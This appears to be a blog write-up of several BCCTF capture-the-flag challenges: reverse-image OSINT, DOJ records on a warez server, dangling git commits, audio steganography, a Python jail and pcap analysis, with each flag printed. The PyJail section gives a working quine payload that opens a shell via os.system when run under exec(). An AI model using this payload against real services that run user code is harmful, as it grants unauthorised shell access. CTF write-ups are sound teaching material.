For this challenge, we were given a picture of a rogue pirate ship sailing through a river, and we needed to find the name of the bridge right behind it.
I didn’t recognize the bridge off the top of my head, so my first step was to just crop the image a bit and run it through Microsoft Bing’s reverse image search to see if it could identify the landmark.
Press enter or click to view image in full size
Bing quickly matched the distinct stone towers and cables of the bridge to a location in Cincinnati, Ohio.
Just to be absolutely sure and to get the proper name of the area, I went over to Google Maps. I looked at the river running through Cincinnati and checked the bridges to match the exact shape and location.
Press enter or click to view image in full size
Google Maps confirmed the bridge was the John A. Roebling Suspension Bridge.
When submitting the flag, it took a couple of tries to get the exact phrasing the challenge creator wanted (they ended up leaving out the word “Suspension”), but we finally got the points!
BCCTF{John A. Roebling Bridge}I started by searching for “Operation Buccaneer” and “DrinkOrDie.” These searches led to several Department of Justice (DOJ) archives. The challenge mentioned a specific member who was indicted after most of the other convictions and who ran a “high-traffic server.”
Most of the initial DrinkOrDie members were caught in 2001. However, looking through later news reports from 2003, I found a man named Kirk Patrick St. John (online alias “thesaint”).
According to the official DOJ press release, St. John didn’t just participate; he provided a massive storage hub for the group. In the world of “Warez” (pirated software), these were often called “candy stores.”
The press release explicitly named his server: Godcomplex.
Press enter or click to view image in full size
The challenge asked for the server name in a specific format. By taking the unique name found in the legal documents and placing it inside the flag bracket, I got the final answer.
BCCTF{GodComplex}We were provided a .zip archive containing several text files, all featuring poems about pirates. The objective was to extract a hidden flag from the archive.
Running basic string analysis on the extracted text files revealed an intentional acrostic in acrostic.txt that spelled out the word JOLLYROGER. While this initially looked like a promising passphrase for whitespace steganography tools, the high solve rate of the challenge suggested a simpler intended path. The poetry was a distractor.
Press enter or click to view image in full size
Taking a step back from analyzing the text contents, a standard directory enumeration revealed the true nature of the challenge.
The presence of a hidden .git folder immediately pivoted the challenge from text steganography to version control forensics. The flag was hidden somewhere within the repository's history.
Reviewing the active commit history via git log -p showed a completely clean main branch. The author had simply added the poem files one by one, with no suspicious deletions or base64 strings in the diffs. Furthermore, checking git branch -a confirmed there were no hidden branches.
Join Medium for free to get updates from this writer.
Since the active timeline was clean, the flag had to be hiding in an orphaned (dangling) commit or a stash — likely added and then scrubbed using git reset --hard.
git log — all — reflog -p | grep -i “ctf{“
By searching the hidden, unreferenced Git history, the flag was successfully carved out of the dangling commit.
prolly_the_parrot.wav. Listening to the audio revealed distorted, screeching bird sounds that didn't form coherent speech.Press enter or click to view image in full size
Press enter or click to view image in full size
The code hidden in the frequencies was:
BCCTF{CrAk3rs_P3lZ}Category: Misc / PyJail
The main.py script checks if our input is a valid quine by testing it in an isolated subprocess (is_quine). If it passes, the main script dangerously executes our code directly using exec(code).
If we send a standard shell payload, the subprocess test will hang and fail. We need a payload that acts like a normal quine during the test, but pops a shell during the exec().
We use a conditional polyglot quine that checks its environment using globals():
s=’s=%r;import os;os.system(“sh”) if “is_quine” in globals() else 0;print(s%%s,end=””)’;import os;os.system(“sh”) if “is_quine” in globals() else 0;print(s%s,end=””)
Press enter or click to view image in full size
opened the pcap file in wireshark and then applied the filter http
Press enter or click to view image in full size
Press enter or click to view image in full size
echo”bluhbluh” | base64 -d to get the flag